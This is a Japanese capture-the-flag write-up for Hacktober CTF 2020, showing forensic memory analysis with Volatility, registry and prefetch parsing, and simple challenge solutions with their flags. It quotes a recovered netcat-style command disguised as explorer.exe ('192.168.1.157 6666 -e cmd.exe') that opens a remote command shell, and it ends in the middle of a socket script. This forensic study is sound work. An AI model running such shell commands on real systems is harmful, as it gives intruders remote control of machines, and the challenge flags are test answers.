Hacktober CTF Writeup

この大会は2020/10/16 23:00(JST)~2020/10/18 11:00(JST)に開催されました。
今回もチームで参戦。結果は4785点で1073チーム中43位でした。
自分で解けた問題をWriteupとして書いておきます。

Rules 1 (Start 0)

問題にフラグが書いてあった。

flag{pl4y_by_th3_ru13s}

Talking to the Dead 1 (Linux 30)

$ ssh hacktober@env.hacktober.io
The authenticity of host 'env.hacktober.io (164.90.151.191)' can't be established.
ECDSA key fingerprint is SHA256:28XgvNOKrN95NgfWARVy2os+YCz6Cy5e45t1dRO9H/o.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'env.hacktober.io,164.90.151.191' (ECDSA) to the list of known hosts.
hacktober@env.hacktober.io's password: 
Last login: Fri Oct 16 23:21:31 2020 from 109.252.109.150
luciafer@f94ac3514166:/$ find / -name flag1.txt
find: '/etc/ssl/private': Permission denied
/home/luciafer/Documents/flag1.txt
find: '/home/spookyboi/.ssh': Permission denied
find: '/proc/tty/driver': Permission denied
find: '/var/log/private': Permission denied
find: '/var/cache/ldconfig': Permission denied
find: '/var/cache/apt/archives/partial': Permission denied
find: '/var/cache/private': Permission denied
find: '/var/lib/apt/lists/partial': Permission denied
find: '/var/lib/private': Permission denied
find: '/root/.local/share': Permission denied
luciafer@f94ac3514166:/$ cat /home/luciafer/Documents/flag1.txt
flag{cb07e9d6086d50ee11c0d968f1e5c4bf1c89418c}
flag{cb07e9d6086d50ee11c0d968f1e5c4bf1c89418c}

Talking to the Dead 2 (Linux 30)

luciafer@f94ac3514166:/$ cd ~
luciafer@f94ac3514166:~$ ls -lRa
.:
total 48
drwxr-xr-x 1 luciafer luciafer 4096 Oct  5 14:54 .
drwxr-xr-x 1 root     root     4096 Oct  5 15:05 ..
-rw------- 1 luciafer luciafer    1 Oct  6 11:24 .bash_history
-rw-r--r-- 1 luciafer luciafer  220 Oct  5 14:50 .bash_logout
-rw-r--r-- 1 luciafer luciafer 3771 Oct  5 14:50 .bashrc
-rw-r--r-- 1 luciafer luciafer  807 Oct  5 14:50 .profile
drwxrwxr-x 1 luciafer luciafer 4096 Oct  6 08:36 Documents
drwxrwxr-x 2 luciafer luciafer 4096 Oct  5 14:54 Downloads
drwxrwxr-x 2 luciafer luciafer 4096 Oct  5 14:54 Pictures
drwxrwxr-x 2 luciafer luciafer 4096 Oct  5 14:54 Videos

./Documents:
total 20
drwxrwxr-x 1 luciafer luciafer 4096 Oct  6 08:36 .
drwxr-xr-x 1 luciafer luciafer 4096 Oct  5 14:54 ..
-rw-rw-r-- 1 luciafer luciafer   47 Oct  6 08:36 .flag2.txt
-rw-rw-r-- 1 luciafer luciafer   47 Oct  5 14:55 flag1.txt

./Downloads:
total 12
drwxrwxr-x 2 luciafer luciafer 4096 Oct  5 14:54 .
drwxr-xr-x 1 luciafer luciafer 4096 Oct  5 14:54 ..

./Pictures:
total 12
drwxrwxr-x 2 luciafer luciafer 4096 Oct  5 14:54 .
drwxr-xr-x 1 luciafer luciafer 4096 Oct  5 14:54 ..

./Videos:
total 12
drwxrwxr-x 2 luciafer luciafer 4096 Oct  5 14:54 .
luciafer@f94ac3514166:~$ cat ./Documents/.flag2.txt
flag{728ec98bfaa302b2dfc2f716d3de7869f3eadcbf}
flag{728ec98bfaa302b2dfc2f716d3de7869f3eadcbf}

Captured Memories (Forensics 30)

メモリダンプのキャプチャに使われたプログラムのPIDを答える。

$ volatility -f mem.raw imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win10x64_10586, Win10x64_14393, Win10x64, Win2016x64_14393, Win10x64_15063 (Instantiated with Win10x64_15063)
                     AS Layer1 : SkipDuplicatesAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/mnt/hgfs/Shared/work/mem.raw)
                      PAE type : No PAE
                           DTB : 0x1aa000L
                          KDBG : 0xf8001e43d520L
          Number of Processors : 2
     Image Type (Service Pack) : 0
                KPCR for CPU 0 : 0xfffff8001d4e2000L
                KPCR for CPU 1 : 0xffffd40032268000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2020-06-26 15:51:36 UTC+0000
     Image local date and time : 2020-06-26 08:51:36 -0700

$ volatility -f mem.raw --profile=Win10x64_15063 pstree
Volatility Foundation Volatility Framework 2.6
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0xffff87868e88d440:System                              4      0    111      0 2020-06-26 15:07:32 UTC+0000
. 0xffff878690147040:smss.exe                         348      4      2      0 2020-06-26 15:07:32 UTC+0000
. 0xffff87868e975040:Registry                          88      4      3      0 2020-06-26 15:07:23 UTC+0000
. 0xffff878690ccc040:MemCompression                  1168      4     50      0 2020-06-26 15:07:58 UTC+0000
 0xffff878690495080:wininit.exe                       528    424      1      0 2020-06-26 15:07:45 UTC+0000
. 0xffff8786904cd080:services.exe                     648    528      6      0 2020-06-26 15:07:46 UTC+0000
.. 0xffff8786914d2580:TrustedInstall                 2572    648      5      0 2020-06-26 15:43:20 UTC+0000
.. 0xffff878690c8d580:svchost.exe                    1052    648     18      0 2020-06-26 15:07:58 UTC+0000
.. 0xffff878690c2d580:svchost.exe                      60    648     64      0 2020-06-26 15:07:56 UTC+0000
... 0xffff8786909b0580:sihost.exe                    2672     60     15      0 2020-06-26 15:08:51 UTC+0000
... 0xffff87868fa02580:wuauclt.exe                   5288     60      7      0 2020-06-26 15:43:18 UTC+0000
... 0xffff8786909e1580:taskhostw.exe                 2764     60     10      0 2020-06-26 15:08:52 UTC+0000
... 0xffff87869038d580:taskhostw.exe                  656     60      8      0 2020-06-26 15:48:06 UTC+0000
.. 0xffff878690cae580:svchost.exe                    1092    648     24      0 2020-06-26 15:07:58 UTC+0000
.. 0xffff878690a07580:svchost.exe                    2144    648      2      0 2020-06-26 15:08:16 UTC+0000
.. 0xffff87868f821080:SgrmBroker.exe                 6756    648      2      0 2020-06-26 15:10:41 UTC+0000
.. 0xffff878690fdd400:SecurityHealth                 1900    648     12      0 2020-06-26 15:08:04 UTC+0000
.. 0xffff87868f3804c0:svchost.exe                    4804    648      9      0 2020-06-26 15:33:05 UTC+0000
.. 0xffff8786903bf580:svchost.exe                    1248    648      8      0 2020-06-26 15:07:59 UTC+0000
.. 0xffff878691216580:svchost.exe                    1268    648     13      0 2020-06-26 15:08:14 UTC+0000
.. 0xffff878690e87580:spoolsv.exe                    1408    648     10      0 2020-06-26 15:08:00 UTC+0000
.. 0xffff878690d12580:svchost.exe                    1284    648     21      0 2020-06-26 15:07:59 UTC+0000
.. 0xffff878690dc7580:svchost.exe                    1320    648      8      0 2020-06-26 15:07:59 UTC+0000
.. 0xffff87869150c580:sedsvc.exe                     3040    648      5      0 2020-06-26 15:17:18 UTC+0000
.. 0xffff878690fbe580:svchost.exe                    1860    648     13      0 2020-06-26 15:08:04 UTC+0000
.. 0xffff878690fcd580:MsMpEng.exe                    1884    648     10      0 2020-06-26 15:08:04 UTC+0000
.. 0xffff87868ede8580:SearchIndexer.                 4448    648     23      0 2020-06-26 15:09:31 UTC+0000
... 0xffff87868ec27080:cmd.exe                       6844   4448      0 ------ 2020-06-26 15:44:35 UTC+0000
... 0xffff878690744380:SearchProtocol                4396   4448      0 ------ 2020-06-26 15:50:01 UTC+0000
... 0xffff87868f082580:SearchFilterHo                4432   4448      4      0 2020-06-26 15:50:01 UTC+0000
... 0xffff878691456080:cmd.exe                       3944   4448      0 ------ 2020-06-26 15:37:19 UTC+0000
.... 0xffff87868fd63580:conhost.exe                  5432   3944      4      0 2020-06-26 15:37:19 UTC+0000
.... 0xffff878691762080:explorer.exe                 5448   3944      1      0 2020-06-26 15:43:14 UTC+0000
... 0xffff878691457580:cmd.exe                       4424   4448      1      0 2020-06-26 15:46:51 UTC+0000
.... 0xffff87868f773080:explorer.exe                 3100   4424      5      0 2020-06-26 15:48:21 UTC+0000
..... 0xffff87868f77b340:cmd.exe                     4640   3100      1      0 2020-06-26 15:48:21 UTC+0000
.... 0xffff87868f998080:conhost.exe                  6372   4424      3      0 2020-06-26 15:46:51 UTC+0000
.. 0xffff87868ed40580:svchost.exe                    4976    648      3      0 2020-06-26 15:48:59 UTC+0000
.. 0xffff878690b71580:svchost.exe                     884    648     25      0 2020-06-26 15:07:53 UTC+0000
.. 0xffff878690bbd580:svchost.exe                     384    648     14      0 2020-06-26 15:07:56 UTC+0000
... 0xffff8786913c2080:ctfmon.exe                    2956    384      9      0 2020-06-26 15:08:55 UTC+0000
.. 0xffff878690e93580:svchost.exe                    1416    648     25      0 2020-06-26 15:08:00 UTC+0000
.. 0xffff8786909c9580:svchost.exe                    2712    648     22      0 2020-06-26 15:08:52 UTC+0000
.. 0xffff8786904cc580:svchost.exe                     764    648     31      0 2020-06-26 15:07:50 UTC+0000
... 0xffff87868ece5580:ApplicationFra                4104    764     11      0 2020-06-26 15:09:30 UTC+0000
... 0xffff87868fb16340:smartscreen.ex                1048    764     15      0 2020-06-26 15:48:37 UTC+0000
... 0xffff87868edc2580:RuntimeBroker.                5680    764      6      0 2020-06-26 15:09:46 UTC+0000
... 0xffff87868efaf080:MicrosoftEdge.                4660    764      0 ------ 2020-06-26 15:09:32 UTC+0000
... 0xffff87868f008080:RuntimeBroker.                3936    764      0 ------ 2020-06-26 15:09:37 UTC+0000
... 0xffff878691056580:HxOutlook.exe                 4688    764     24      0 2020-06-26 15:32:47 UTC+0000
... 0xffff87868f9a6580:Microsoft.Phot                4724    764     14      0 2020-06-26 15:20:49 UTC+0000
... 0xffff8786900eb080:ShellExperienc                3708    764     24      0 2020-06-26 15:09:18 UTC+0000
... 0xffff878691080580:HxTsr.exe                     5172    764     14      0 2020-06-26 15:31:30 UTC+0000
... 0xffff878690969580:RuntimeBroker.                4064    764      6      0 2020-06-26 15:09:23 UTC+0000
... 0xffff87868ed21080:WmiPrvSE.exe                  3304    764      9      0 2020-06-26 15:12:07 UTC+0000
... 0xffff87868f10a080:backgroundTask                1276    764      0 ------ 2020-06-26 15:32:50 UTC+0000
... 0xffff87868ede9080:SkypeApp.exe                  5896    764     23      0 2020-06-26 15:21:02 UTC+0000
... 0xffff8786916b2580:dllhost.exe                   6432    764      7      0 2020-06-26 15:10:15 UTC+0000
... 0xffff8786909da580:RuntimeBroker.                3436    764      3      0 2020-06-26 15:10:04 UTC+0000
... 0xffff87868f29d380:SkypeBackgroun                 376    764      4      0 2020-06-26 15:38:06 UTC+0000
... 0xffff878691219080:TiWorker.exe                  2796    764      4      0 2020-06-26 15:43:20 UTC+0000
... 0xffff87868ef10580:RuntimeBroker.                4504    764      8      0 2020-06-26 15:09:31 UTC+0000
... 0xffff87868fd65580:dllhost.exe                   3520    764      7      0 2020-06-26 15:09:16 UTC+0000
... 0xffff8786901a0080:SearchUI.exe                  4052    764     50      0 2020-06-26 15:09:23 UTC+0000
... 0xffff87868ee50580:RuntimeBroker.                2528    764     11      0 2020-06-26 15:09:29 UTC+0000
... 0xffff87868f826080:HxOutlook.exe                 7160    764      0 ------ 2020-06-26 15:31:23 UTC+0000
.. 0xffff878690dc3580:svchost.exe                    1312    648      5      0 2020-06-26 15:07:59 UTC+0000
. 0xffff8786904fb080:lsass.exe                        664    528      9      0 2020-06-26 15:07:47 UTC+0000
. 0xffff8786904d1580:fontdrvhost.ex                   792    528      5      0 2020-06-26 15:07:50 UTC+0000
 0xffff878690722080:csrss.exe                         436    424     10      0 2020-06-26 15:07:43 UTC+0000
 0xffff87869049c580:winlogon.exe                      564    500      5      0 2020-06-26 15:07:45 UTC+0000
. 0xffff878690ac5580:fontdrvhost.ex                   800    564      5      0 2020-06-26 15:07:50 UTC+0000
. 0xffff87869141c2c0:userinit.exe                    2184    564      0 ------ 2020-06-26 15:08:57 UTC+0000
.. 0xffff8786913f9580:explorer.exe                   2316   2184     93      0 2020-06-26 15:08:57 UTC+0000
... 0xffff87868fb57580:cmd.exe                       3180   2316      0 ------ 2020-06-26 15:19:51 UTC+0000
... 0xffff87868f1d2080:cmd.exe                       6080   2316      0 ------ 2020-06-26 15:09:54 UTC+0000
... 0xffff87868fd7a580:chrmstp.exe                   3256   2316      0 ------ 2020-06-26 15:09:13 UTC+0000
... 0xffff87868f399080:chrome.exe                    5872   2316     32      0 2020-06-26 15:34:25 UTC+0000
.... 0xffff8786914bb580:chrome.exe                   5736   5872     13      0 2020-06-26 15:34:25 UTC+0000
.... 0xffff8786913b7580:chrome.exe                   3432   5872     13      0 2020-06-26 15:51:01 UTC+0000
.... 0xffff87869030e080:chrome.exe                   4828   5872     11      0 2020-06-26 15:51:04 UTC+0000
.... 0xffff87868ebef080:chrome.exe                   2512   5872     21      0 2020-06-26 15:51:06 UTC+0000
.... 0xffff878691535580:chrome.exe                   4940   5872     10      0 2020-06-26 15:34:25 UTC+0000
.... 0xffff87868f26c580:chrome.exe                   3140   5872     16      0 2020-06-26 15:51:03 UTC+0000
.... 0xffff87868f047080:chrome.exe                   6044   5872      6      0 2020-06-26 15:51:05 UTC+0000
.... 0xffff87868fb1f080:chrome.exe                   7088   5872      9      0 2020-06-26 15:34:25 UTC+0000
.... 0xffff87868faef580:chrome.exe                   5876   5872     13      0 2020-06-26 15:51:03 UTC+0000
.... 0xffff8786916713c0:chrome.exe                   7108   5872     13      0 2020-06-26 15:34:35 UTC+0000
... 0xffff87868f150580:MSASCuiL.exe                  5928   2316      3      0 2020-06-26 15:09:52 UTC+0000
... 0xffff87868f81d080:cmd.exe                        784   2316      1      0 2020-06-26 15:48:50 UTC+0000
.... 0xffff878691422080:conhost.exe                  3480    784      5      0 2020-06-26 15:48:50 UTC+0000
.... 0xffff87868f2e1080:winpmem_v3.3.r               3348    784      5      0 2020-06-26 15:51:36 UTC+0000
... 0xffff87868ec71080:av-20200624193                6880   2316      0 ------ 2020-06-26 15:36:10 UTC+0000
... 0xffff8786909e5080:OneDrive.exe                  6032   2316     20      0 2020-06-26 15:09:53 UTC+0000
... 0xffff87868f1d5580:cmd.exe                       6072   2316      0 ------ 2020-06-26 15:09:54 UTC+0000
... 0xffff87868f1cc580:explorer.exe                  6096   2316      0 ------ 2020-06-26 15:09:54 UTC+0000
... 0xffff878690466080:chrome.exe                    6628   2316      0 ------ 2020-06-26 15:31:56 UTC+0000
. 0xffff878690c07080:dwm.exe                          968    564     13      0 2020-06-26 15:07:55 UTC+0000
 0xffff878690472280:csrss.exe                         508    500     12      0 2020-06-26 15:07:45 UTC+0000
 0xffff878691061580:GoogleCrashHan                   4332   2776      5      0 2020-06-26 15:10:38 UTC+0000
 0xffff8786910be080:GoogleCrashHan                   5936   2776      3      0 2020-06-26 15:10:38 UTC+0000

winpmemがメモリダンプを取得していると思われる。PIDは3348。

flag{3348}

AmCaching In (Forensics 50)

\%SystemRoot%\AppCompat\Programs\Amcache.hveにユーザ"mpowers"によってインストールされたプログラム名を答える。
RegRipperで以下のプラグインを使う。

https://github.com/chaoticmachinery/mass_triage_tools/tree/master/regripper_plugins
>rip -p amcache_tln -r Amcache.hve | findstr mpowers
Launching amcache_tln v.20180311
Parsing: Amcache.hve

|1970-00-01 00:00:00|AmCache_InventoryApplication||||Key LastWrite|c:\users\mpowers\appdata\local\temp\d930e9b6-7d1b-4a5d-804e-ce667e431ff9\dismhost.exe|2b8780eaf56baa53f53649bcffc10d9cc2e14a36|Amcache.hve
|1970-00-01 00:00:00|AmCache_InventoryApplication||||Key LastWrite|c:\users\mpowers\desktop\ftk imager\ftk imager.exe|b14898ecf28a3e131dc36fc39168f6ee9dc75d78|Amcache.hve
|1970-00-01 00:00:00|AmCache_InventoryApplication||||Key LastWrite|c:\users\mpowers\downloads\python-3.7.0-amd64-webinstall.exe|5e774c390146ef62fa64ff83fd3143699711e948|Amcache.hve
|1970-00-01 00:00:00|AmCache_InventoryApplication||||Key LastWrite|c:\users\mpowers\appdata\local\temp\4\{b04d01b2-0174-4ef5-8fb5-84584c0964f5}\.be\python-3.7.0-amd64-webinstall.exe|2d64d4af1f91189e1cb568df2f6dcbf4414702ff|Amcache.hve
|1970-00-01 00:00:00|AmCache_InventoryApplication||||Key LastWrite|c:\users\mpowers\appdata\local\temp\4\{4a1d9cda-5382-4f04-b44d-51927f9c602a}\.cr\python-3.7.0-amd64-webinstall.exe|2d64d4af1f91189e1cb568df2f6dcbf4414702ff|Amcache.hve
|1970-00-01 00:00:00|AmCache_InventoryApplication||||Key LastWrite|c:\users\mpowers\desktop\sub-win-x64_104.148.109.124_5682_3262.exe|4acc66f0869d5e59802961bee0f1bea38bad6fdf|Amcache.hve

python 3.7.0をインストールしている。

flag{python}

Prefetch Perfection (Forensics 50)

IEが実行された時刻を答える。
WinPrefetchViewで[Options]-[Advanced Options]からprefetchフォルダを指定して確認する。時刻はローカルタイム(日本時間)なので、[Options]-[Show Time In GMT]を選択し、GMTにする。
f:id:satou-y:20201030120747p:plain
IEのLast Run Timeは 2017/05/01 21:11:41。

flag{2017-05-01 21:11:41}

Prefetch Perfection 2 (Forensics 100)

cmaldanadoのクッキーを使うプロセスを答える。
https://github.com/PoorBillionaire/Windows-Prefetch-Parser/blob/master/windowsprefetch/prefetch.pyを使う。

$ python prefetch.py -d prefetch/ > output.txt

output.txtでcmaldanadoのcookieを検索

       :
=========================
DLLHOST.EXE-6202E8F2.pf
=========================

Executable Name: DLLHOST.EXE

Run count: 1
Last Executed: 2017-04-27 17:54:07.476636

Volume Information:
    Volume Name: \DEVICE\HARDDISKVOLUME1
    Creation Date: 2017-04-26 06:17:23.091272
    Serial Number: 46ca3ac8

Directory Strings:
       :

Resources loaded:
       :
50:   \DEVICE\HARDDISKVOLUME1\USERS\CMALDONADO\APPDATA\ROAMING\MICROSOFT\WINDOWS\COOKIES\LOW\CMALDONADO@WWW.MSN[1].TXT
       :
||
>|
<b>flag{dllhost.exe}</b>
|<

* Commands (Forensics 100)
不審なexplorer.exeの実行をオプション付きで答える。
>|sh|
$ volatility -f mem.raw --profile=Win10x64_15063 cmdline | grep explorer
Volatility Foundation Volatility Framework 2.6
explorer.exe pid:   2316
explorer.exe pid:   6096
explorer.exe pid:   5448
Command line : explorer.exe  -lnvp 6666
explorer.exe pid:   3100
Command line : explorer.exe  192.168.1.157 6666 -e cmd.exe
flag{explorer.exe  192.168.1.157 6666 -e cmd.exe}

Evil Twin (Forensics 150)

$ volatility -f mem.raw --profile=Win10x64_15063 pstree
Volatility Foundation Volatility Framework 2.6
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0xffff87868e88d440:System                              4      0    111      0 2020-06-26 15:07:32 UTC+0000
. 0xffff878690147040:smss.exe                         348      4      2      0 2020-06-26 15:07:32 UTC+0000
. 0xffff87868e975040:Registry                          88      4      3      0 2020-06-26 15:07:23 UTC+0000
. 0xffff878690ccc040:MemCompression                  1168      4     50      0 2020-06-26 15:07:58 UTC+0000
 0xffff878690495080:wininit.exe                       528    424      1      0 2020-06-26 15:07:45 UTC+0000
. 0xffff8786904cd080:services.exe                     648    528      6      0 2020-06-26 15:07:46 UTC+0000
.. 0xffff8786914d2580:TrustedInstall                 2572    648      5      0 2020-06-26 15:43:20 UTC+0000
.. 0xffff878690c8d580:svchost.exe                    1052    648     18      0 2020-06-26 15:07:58 UTC+0000
.. 0xffff878690c2d580:svchost.exe                      60    648     64      0 2020-06-26 15:07:56 UTC+0000
... 0xffff8786909b0580:sihost.exe                    2672     60     15      0 2020-06-26 15:08:51 UTC+0000
... 0xffff87868fa02580:wuauclt.exe                   5288     60      7      0 2020-06-26 15:43:18 UTC+0000
... 0xffff8786909e1580:taskhostw.exe                 2764     60     10      0 2020-06-26 15:08:52 UTC+0000
... 0xffff87869038d580:taskhostw.exe                  656     60      8      0 2020-06-26 15:48:06 UTC+0000
.. 0xffff878690cae580:svchost.exe                    1092    648     24      0 2020-06-26 15:07:58 UTC+0000
.. 0xffff878690a07580:svchost.exe                    2144    648      2      0 2020-06-26 15:08:16 UTC+0000
.. 0xffff87868f821080:SgrmBroker.exe                 6756    648      2      0 2020-06-26 15:10:41 UTC+0000
.. 0xffff878690fdd400:SecurityHealth                 1900    648     12      0 2020-06-26 15:08:04 UTC+0000
.. 0xffff87868f3804c0:svchost.exe                    4804    648      9      0 2020-06-26 15:33:05 UTC+0000
.. 0xffff8786903bf580:svchost.exe                    1248    648      8      0 2020-06-26 15:07:59 UTC+0000
.. 0xffff878691216580:svchost.exe                    1268    648     13      0 2020-06-26 15:08:14 UTC+0000
.. 0xffff878690e87580:spoolsv.exe                    1408    648     10      0 2020-06-26 15:08:00 UTC+0000
.. 0xffff878690d12580:svchost.exe                    1284    648     21      0 2020-06-26 15:07:59 UTC+0000
.. 0xffff878690dc7580:svchost.exe                    1320    648      8      0 2020-06-26 15:07:59 UTC+0000
.. 0xffff87869150c580:sedsvc.exe                     3040    648      5      0 2020-06-26 15:17:18 UTC+0000
.. 0xffff878690fbe580:svchost.exe                    1860    648     13      0 2020-06-26 15:08:04 UTC+0000
.. 0xffff878690fcd580:MsMpEng.exe                    1884    648     10      0 2020-06-26 15:08:04 UTC+0000
.. 0xffff87868ede8580:SearchIndexer.                 4448    648     23      0 2020-06-26 15:09:31 UTC+0000
... 0xffff87868ec27080:cmd.exe                       6844   4448      0 ------ 2020-06-26 15:44:35 UTC+0000
... 0xffff878690744380:SearchProtocol                4396   4448      0 ------ 2020-06-26 15:50:01 UTC+0000
... 0xffff87868f082580:SearchFilterHo                4432   4448      4      0 2020-06-26 15:50:01 UTC+0000
... 0xffff878691456080:cmd.exe                       3944   4448      0 ------ 2020-06-26 15:37:19 UTC+0000
.... 0xffff87868fd63580:conhost.exe                  5432   3944      4      0 2020-06-26 15:37:19 UTC+0000
.... 0xffff878691762080:explorer.exe                 5448   3944      1      0 2020-06-26 15:43:14 UTC+0000
... 0xffff878691457580:cmd.exe                       4424   4448      1      0 2020-06-26 15:46:51 UTC+0000
.... 0xffff87868f773080:explorer.exe                 3100   4424      5      0 2020-06-26 15:48:21 UTC+0000
..... 0xffff87868f77b340:cmd.exe                     4640   3100      1      0 2020-06-26 15:48:21 UTC+0000
.... 0xffff87868f998080:conhost.exe                  6372   4424      3      0 2020-06-26 15:46:51 UTC+0000
.. 0xffff87868ed40580:svchost.exe                    4976    648      3      0 2020-06-26 15:48:59 UTC+0000
.. 0xffff878690b71580:svchost.exe                     884    648     25      0 2020-06-26 15:07:53 UTC+0000
.. 0xffff878690bbd580:svchost.exe                     384    648     14      0 2020-06-26 15:07:56 UTC+0000
... 0xffff8786913c2080:ctfmon.exe                    2956    384      9      0 2020-06-26 15:08:55 UTC+0000
.. 0xffff878690e93580:svchost.exe                    1416    648     25      0 2020-06-26 15:08:00 UTC+0000
.. 0xffff8786909c9580:svchost.exe                    2712    648     22      0 2020-06-26 15:08:52 UTC+0000
.. 0xffff8786904cc580:svchost.exe                     764    648     31      0 2020-06-26 15:07:50 UTC+0000
... 0xffff87868ece5580:ApplicationFra                4104    764     11      0 2020-06-26 15:09:30 UTC+0000
... 0xffff87868fb16340:smartscreen.ex                1048    764     15      0 2020-06-26 15:48:37 UTC+0000
... 0xffff87868edc2580:RuntimeBroker.                5680    764      6      0 2020-06-26 15:09:46 UTC+0000
... 0xffff87868efaf080:MicrosoftEdge.                4660    764      0 ------ 2020-06-26 15:09:32 UTC+0000
... 0xffff87868f008080:RuntimeBroker.                3936    764      0 ------ 2020-06-26 15:09:37 UTC+0000
... 0xffff878691056580:HxOutlook.exe                 4688    764     24      0 2020-06-26 15:32:47 UTC+0000
... 0xffff87868f9a6580:Microsoft.Phot                4724    764     14      0 2020-06-26 15:20:49 UTC+0000
... 0xffff8786900eb080:ShellExperienc                3708    764     24      0 2020-06-26 15:09:18 UTC+0000
... 0xffff878691080580:HxTsr.exe                     5172    764     14      0 2020-06-26 15:31:30 UTC+0000
... 0xffff878690969580:RuntimeBroker.                4064    764      6      0 2020-06-26 15:09:23 UTC+0000
... 0xffff87868ed21080:WmiPrvSE.exe                  3304    764      9      0 2020-06-26 15:12:07 UTC+0000
... 0xffff87868f10a080:backgroundTask                1276    764      0 ------ 2020-06-26 15:32:50 UTC+0000
... 0xffff87868ede9080:SkypeApp.exe                  5896    764     23      0 2020-06-26 15:21:02 UTC+0000
... 0xffff8786916b2580:dllhost.exe                   6432    764      7      0 2020-06-26 15:10:15 UTC+0000
... 0xffff8786909da580:RuntimeBroker.                3436    764      3      0 2020-06-26 15:10:04 UTC+0000
... 0xffff87868f29d380:SkypeBackgroun                 376    764      4      0 2020-06-26 15:38:06 UTC+0000
... 0xffff878691219080:TiWorker.exe                  2796    764      4      0 2020-06-26 15:43:20 UTC+0000
... 0xffff87868ef10580:RuntimeBroker.                4504    764      8      0 2020-06-26 15:09:31 UTC+0000
... 0xffff87868fd65580:dllhost.exe                   3520    764      7      0 2020-06-26 15:09:16 UTC+0000
... 0xffff8786901a0080:SearchUI.exe                  4052    764     50      0 2020-06-26 15:09:23 UTC+0000
... 0xffff87868ee50580:RuntimeBroker.                2528    764     11      0 2020-06-26 15:09:29 UTC+0000
... 0xffff87868f826080:HxOutlook.exe                 7160    764      0 ------ 2020-06-26 15:31:23 UTC+0000
.. 0xffff878690dc3580:svchost.exe                    1312    648      5      0 2020-06-26 15:07:59 UTC+0000
. 0xffff8786904fb080:lsass.exe                        664    528      9      0 2020-06-26 15:07:47 UTC+0000
. 0xffff8786904d1580:fontdrvhost.ex                   792    528      5      0 2020-06-26 15:07:50 UTC+0000
 0xffff878690722080:csrss.exe                         436    424     10      0 2020-06-26 15:07:43 UTC+0000
 0xffff87869049c580:winlogon.exe                      564    500      5      0 2020-06-26 15:07:45 UTC+0000
. 0xffff878690ac5580:fontdrvhost.ex                   800    564      5      0 2020-06-26 15:07:50 UTC+0000
. 0xffff87869141c2c0:userinit.exe                    2184    564      0 ------ 2020-06-26 15:08:57 UTC+0000
.. 0xffff8786913f9580:explorer.exe                   2316   2184     93      0 2020-06-26 15:08:57 UTC+0000
... 0xffff87868fb57580:cmd.exe                       3180   2316      0 ------ 2020-06-26 15:19:51 UTC+0000
... 0xffff87868f1d2080:cmd.exe                       6080   2316      0 ------ 2020-06-26 15:09:54 UTC+0000
... 0xffff87868fd7a580:chrmstp.exe                   3256   2316      0 ------ 2020-06-26 15:09:13 UTC+0000
... 0xffff87868f399080:chrome.exe                    5872   2316     32      0 2020-06-26 15:34:25 UTC+0000
.... 0xffff8786914bb580:chrome.exe                   5736   5872     13      0 2020-06-26 15:34:25 UTC+0000
.... 0xffff8786913b7580:chrome.exe                   3432   5872     13      0 2020-06-26 15:51:01 UTC+0000
.... 0xffff87869030e080:chrome.exe                   4828   5872     11      0 2020-06-26 15:51:04 UTC+0000
.... 0xffff87868ebef080:chrome.exe                   2512   5872     21      0 2020-06-26 15:51:06 UTC+0000
.... 0xffff878691535580:chrome.exe                   4940   5872     10      0 2020-06-26 15:34:25 UTC+0000
.... 0xffff87868f26c580:chrome.exe                   3140   5872     16      0 2020-06-26 15:51:03 UTC+0000
.... 0xffff87868f047080:chrome.exe                   6044   5872      6      0 2020-06-26 15:51:05 UTC+0000
.... 0xffff87868fb1f080:chrome.exe                   7088   5872      9      0 2020-06-26 15:34:25 UTC+0000
.... 0xffff87868faef580:chrome.exe                   5876   5872     13      0 2020-06-26 15:51:03 UTC+0000
.... 0xffff8786916713c0:chrome.exe                   7108   5872     13      0 2020-06-26 15:34:35 UTC+0000
... 0xffff87868f150580:MSASCuiL.exe                  5928   2316      3      0 2020-06-26 15:09:52 UTC+0000
... 0xffff87868f81d080:cmd.exe                        784   2316      1      0 2020-06-26 15:48:50 UTC+0000
.... 0xffff878691422080:conhost.exe                  3480    784      5      0 2020-06-26 15:48:50 UTC+0000
.... 0xffff87868f2e1080:winpmem_v3.3.r               3348    784      5      0 2020-06-26 15:51:36 UTC+0000
... 0xffff87868ec71080:av-20200624193                6880   2316      0 ------ 2020-06-26 15:36:10 UTC+0000
... 0xffff8786909e5080:OneDrive.exe                  6032   2316     20      0 2020-06-26 15:09:53 UTC+0000
... 0xffff87868f1d5580:cmd.exe                       6072   2316      0 ------ 2020-06-26 15:09:54 UTC+0000
... 0xffff87868f1cc580:explorer.exe                  6096   2316      0 ------ 2020-06-26 15:09:54 UTC+0000
... 0xffff878690466080:chrome.exe                    6628   2316      0 ------ 2020-06-26 15:31:56 UTC+0000
. 0xffff878690c07080:dwm.exe                          968    564     13      0 2020-06-26 15:07:55 UTC+0000
 0xffff878690472280:csrss.exe                         508    500     12      0 2020-06-26 15:07:45 UTC+0000
 0xffff878691061580:GoogleCrashHan                   4332   2776      5      0 2020-06-26 15:10:38 UTC+0000
 0xffff8786910be080:GoogleCrashHan                   5936   2776      3      0 2020-06-26 15:10:38 UTC+0000

cmd.exeの下にexplorer.exeがある。

flag{explorer.exe}

Haunted Mirror (Programming 125)

$ upx -d mirror
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2017
UPX 3.94        Markus Oberhumer, Laszlo Molnar & John Reiser   May 12th 2017

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    768464 <-    303916   39.55%   linux/amd64   mirror

Unpacked 1 file.

$ strings mirror
    :
XQwG1PhUqJ9A&5v
Hello, stranger. I'm trapped behind your screen. Type any word and I'll write it back to you from the other side. Say the right word, and I'll tell you a secret.
flag{
xeon_phi
    :
flag{XQwG1PhUqJ9A&5v}

Stairway to Hell (Programming 250)

階段上にしたものを改行はスペースに変えて送信する必要がある。

import socket
from rstr import xeger

def recvuntil(s, tails):
    data = ''
    while True:
        for tail in tails:
            if tail in data:
                return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('env2.hacktober.io', 5001))

